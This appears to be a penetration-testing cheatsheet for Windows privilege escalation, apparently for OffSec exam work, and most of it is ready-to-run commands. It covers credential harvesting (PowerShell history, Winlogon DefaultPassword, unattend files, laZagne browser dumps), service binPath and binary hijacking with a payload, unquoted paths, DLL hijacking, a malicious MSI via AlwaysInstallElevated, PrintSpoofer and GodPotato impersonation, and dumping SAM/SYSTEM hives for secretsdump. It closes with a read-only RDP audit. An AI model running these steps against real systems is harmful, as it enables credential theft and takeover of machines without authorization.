10.10 Windows Privilege Escalation Cheatsheet

Need: A verified Windows foothold with a known token, integrity level and groups. A functioning command channel and the actual effective token/process context

hostname
whoami /all
systeminfo
ipconfig /all
route print
netstat -ano
tasklist /svc
query user
net user
net localgroup Administrators
driverquery /v

Get-ComputerInfo | Select-Object WindowsProductName,WindowsVersion,OsBuildNumber,OsArchitecture
Get-HotFix | Sort-Object InstalledOn -Descending
Get-CimInstance Win32_Process | Select-Object ProcessId,Name,ExecutablePath,CommandLine
Get-CimInstance Win32_Service | Select-Object Name,StartName,State,StartMode,PathName
Get-CimInstance Win32_SystemDriver | Select-Object Name,State,StartMode,PathName
Get-LocalUser
Get-LocalGroupMember Administrators

wmic qfe get HotFixID,InstalledOn
wmic service get Name,StartName,State,StartMode,PathName
wmic process get ProcessId,Name,ExecutablePath,CommandLine

whoami /all
hostname
ipconfig /all

After a higher token, re-enumerate protected credentials, services, tasks, sessions, listeners, routes and domain context. Preserve the command, relevant output, trigger and restoration step. For exam use, recheck the current OffSec guide: Windows full-privilege evidence requires SYSTEM, Administrator or an account with Administrator privileges, and AI/LLM use is prohibited during the exam and report phase.

Verify: Verify represented user/SID, enabled group/privilege state and actual privileged operation.

If it fails: A prompt title or account name is insufficient. WMIC may be absent; use the documented CIM/PowerShell alternatives.

Need: A verified Windows foothold with a known token, integrity level and groups. Artifact read permission and exact protecting identity/context for saved or DPAPI material

10.10.16.1.6.1 Find usable credentials in accessible Windows artifacts Stored credentials and PowerShell trails

cmdkey /list
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all

$history = (Get-PSReadLineOption).HistorySavePath
$history
Get-Content -LiteralPath $history -ErrorAction SilentlyContinue
Get-ItemProperty 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -ErrorAction SilentlyContinue
Get-ItemProperty 'HKCU:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -ErrorAction SilentlyContinue
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -ErrorAction SilentlyContinue |
  Where-Object Id -in 4103,4104 | Select-Object -First 50 TimeCreated,Id,Message

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
dir /s /b C:\Windows\Panther\*unattend*.xml C:\Windows\System32\Sysprep\*.xml 2>nul
dir /s /b C:\Users\*.kdbx C:\Users\*.rdp C:\Users\id_rsa C:\Users\*.ppk 2>nul

Get-ChildItem C:\inetpub,C:\ProgramData,C:\Users -Recurse -File -ErrorAction SilentlyContinue |
  Where-Object { $_.Extension -in '.config','.xml','.ini','.txt','.ps1','.bat','.cmd','.yml','.yaml','.json' } |
  Select-String -Pattern 'password|passwd|secret|token|connectionString|user id=' -CaseSensitive:$false

runas /savecred /user:DOMAIN\USER cmd.exe

REM Browser-store leads for the current user
laZagne.exe browsers

REM Broader recovery, with a local text report
laZagne.exe all -oN

Get-ChildItem C:\Users,C:\ProgramData,C:\inetpub -File -Recurse -ErrorAction SilentlyContinue |
  Where-Object { $_.Name -match 'pass|cred|config|backup|unattend|\.env' }

Get-ChildItem C:\Users,C:\ProgramData,C:\inetpub -File -Recurse -ErrorAction SilentlyContinue |
  Where-Object { $_.Extension -in '.config','.xml','.ini','.txt','.ps1','.bat','.cmd' } |
  Select-String -Pattern 'password|passwd|secret|token|connectionString' -CaseSensitive:$false

Avoid searching the entire filesystem without a reason; scope reduces noise, access errors and sensitive-data overcollection.

Verify: Tie each value to a source/account/service and verify any new token with whoami /all.

If it fails: Protected blobs, stale history and saved credentials for a different target require their own keys/context or a different route.

Need: A verified Windows foothold with a known token, integrity level and groups. Configuration-change right, accessible compatible payload path and a separate start/restart trigger

Get-CimInstance Win32_Service | Select-Object Name,StartName,State,StartMode,PathName

sc.exe qc SERVICE
sc.exe sdshow SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE
accesschk.exe -accepteula -nobanner -v -w "USER" "C:\Path\To\service.exe"

Preserve BINARY_PATH_NAME, account and start mode first:

sc.exe qc SERVICE
sc.exe config SERVICE binPath= "C:\Windows\Temp\PAYLOAD_EXE"
sc.exe stop SERVICE
sc.exe start SERVICE

Restore:

sc.exe config SERVICE binPath= "ORIGINAL_BINARY_PATH"

sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
copy /Y "C:\Path\To\service.exe" "C:\Windows\Temp\service.exe.backup"
copy /Y "C:\Windows\Temp\PAYLOAD_EXE" "C:\Path\To\service.exe"
sc.exe stop SERVICE
sc.exe start SERVICE

Verify: Verify the payload's effect and service execution identity, then restore the saved configuration.

If it fails: Access denied on config is different from trigger denial or an incompatible binary. Preserve original binPath and use sc.exe explicitly in PowerShell.

Need: A verified Windows foothold with a known token, integrity level and groups. An earlier executable prefix is absent and creatable, service identity is higher and a start/restart trigger exists

Get-CimInstance Win32_Service |
  Where-Object { $_.PathName -match '\s' -and $_.PathName -notmatch '^\s*"' } |
  Select-Object Name,StartName,State,StartMode,PathName

For C:\Program Files\Vendor App\service.exe -d, check every attempted prefix:

icacls C:\
icacls "C:\Program Files"
icacls "C:\Program Files\Vendor App"
sc.exe qc SERVICE

Verify: Confirm the earlier prefix is actually selected after the trigger and verify its resulting token.

If it fails: A quoted path, existing protected earlier file, unwritable directory or absent trigger defeats the chain.

Need: A verified Windows foothold with a known token, integrity level and groups. Actual controlled resolution path, compatible name/architecture/exports and a reliable privileged load trigger

Confirm:

1. exact DLL/helper/config name and architecture;
2. privileged process actually requests it;
3. selected attacker-writable location precedes the legitimate resolution;
4. payload preserves required exports/behavior where necessary;
5. reliable trigger exists.

icacls "C:\Path\To\Application"
sc.exe qc SERVICE
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode

Verify: Verify the actual loaded path and privileged effect; a file placed on disk is not a completed chain.

If it fails: Wrong ABI/exports, earlier trusted resolution or no load trigger blocks the method.

Need: A verified Windows foothold with a known token, integrity level and groups. Effective object control, a higher principal and a usable scheduled/logon/manual trigger

10.10.16.1.16.1 Find privileged tasks or startup consumers you can influence Scheduled tasks

schtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml

Get-ScheduledTask | ForEach-Object {
  $t = $_
  [pscustomobject]@{
    TaskPath=$t.TaskPath; TaskName=$t.TaskName
    UserId=$t.Principal.UserId; RunLevel=$t.Principal.RunLevel
    Actions=($t.Actions | ForEach-Object { "$($_.Execute) $($_.Arguments) [wd=$($_.WorkingDirectory)]" }) -join '; '
  }
}

icacls "C:\Path\To\task-script.ps1"
icacls "C:\Path\To"
schtasks /run /tn "\FOLDER\TASK"

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"

Verify: Check the actual effect and token after the trigger; task-run acceptance alone is insufficient.

If it fails: Wrong principal, stale action, denied trigger or a different working directory can invalidate the candidate.

Need: A verified Windows foothold with a known token, integrity level and groups. AlwaysInstallElevated requires both effective machine/user policy values and permitted MSI execution; UAC routes require their own compatible administrator/token context

reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Both values must be 0x1:

msiexec.exe /quiet /qn /i C:\Path\To\PAYLOAD.msi

whoami /groups
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

Verify: Verify both relevant conditions and actual resulting token; keep UAC-context claims narrower than full privilege escalation.

If it fails: One policy value, blocked MSI execution or an incompatible protected token defeats the assumed route.

Need: A verified Windows foothold with a known token, integrity level and groups. The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context

whoami /priv

PrintSpoofer64.exe -i -c "cmd.exe"

GodPotato-NET4.exe -cmd "cmd.exe /c whoami > C:\Windows\Temp\token-proof.txt"

reg save HKLM\SAM C:\Windows\Temp\SAM.hive
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive

impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL

Verify: Verify the resulting token or concrete protected-object operation, not the tool's success text.

If it fails: Missing token source, filtered token, protected process or driver-signing/build differences change the route; inspect the specific prerequisite.

Need: A verified Windows foothold with a known token, integrity level and groups. Affected build/patch/architecture, required service/driver/configuration and compatible exploit assumptions

Get-ItemProperty 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*',
                 'HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' -ErrorAction SilentlyContinue |
  Select-Object DisplayName,DisplayVersion,Publisher,InstallLocation

systeminfo
driverquery /v

Verify: Verify target hostname and resulting effective token; preserve reviewed PoC modifications privately.

If it fails: A crash or compilation success does not prove escalation. Wrong build, missing driver or mitigations require another supported path.

Need: A verified Windows foothold with a known token, integrity level and groups. Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location

winPEASx64.exe log
Seatbelt.exe -group=system -outputfile="C:\Windows\Temp\seatbelt-system.txt"
Seatbelt.exe -group=user -q -outputfile="C:\Windows\Temp\seatbelt-user.json"

powershell.exe -ExecutionPolicy Bypass -Command ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report TXT,HTML"
Import-Module .\PowerUp.ps1
Invoke-AllChecks

Convert every highlight into:

CANDIDATE | CURRENT TOKEN | CONTROLLED INPUT | EFFECTIVE RIGHT | CONSUMER | RUN-AS | TRIGGER | EXPECTED EFFECT | STATUS

If it fails: Binary/script blocked or report empty: check architecture and PowerShell language/policy, then use native service/task/ACL checks. A blocked helper does not disprove the finding

Use this read-only sequence after obtaining an authorized local administrative session on the destination, or when the exercise explicitly supplies equivalent remote-management access. It answers four different questions: is RDP enabled, is a listener actually present, what security layer/NLA policy applies, and does the candidate identity have an effective remote-interactive logon right? Do not change registry values or policy merely to make a credential work.

10.10.16.2.2.1 Listener, service and configured port

Get-Service TermService
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
qwinsta

netstat -ano | findstr LISTENING | findstr ":3389"

10.10.16.2.2.2 NLA, transport security and policy precedence

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v MinEncryptionLevel

reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fDenyTSConnections
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v UserAuthentication
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v SecurityLayer

gpresult /scope computer /v

10.10.16.2.2.3 Candidate membership and effective logon rights

net localgroup "Remote Desktop Users"
whoami /groups

From an elevated PowerShell or Command Prompt, export the currently applied user-right assignments and inspect only the RDP entries:

$policy = Join-Path $env:TEMP 'rdp-user-rights.inf'
secedit /export /mergedpolicy /areas user_rights /cfg $policy /quiet
Select-String -Path $policy -Pattern '^SeRemoteInteractiveLogonRight','^SeDenyRemoteInteractiveLogonRight'

10.10.16.2.2.4 Source-relative validation and decision

nmap -Pn -n -p 3389 --reason TARGET
xfreerdp3 /v:TARGET /u:USER /d:DOMAIN /auth-only /cert:ignore

Security baseline: on a normally secured host, RDP may be disabled when not needed; when enabled, NLA is normally retained, access is limited to intended administrative/remote-user principals, deny assignments override broad membership, and the firewall limits exposure. The state machine records deviations and capabilities; it does not recommend weakening these controls.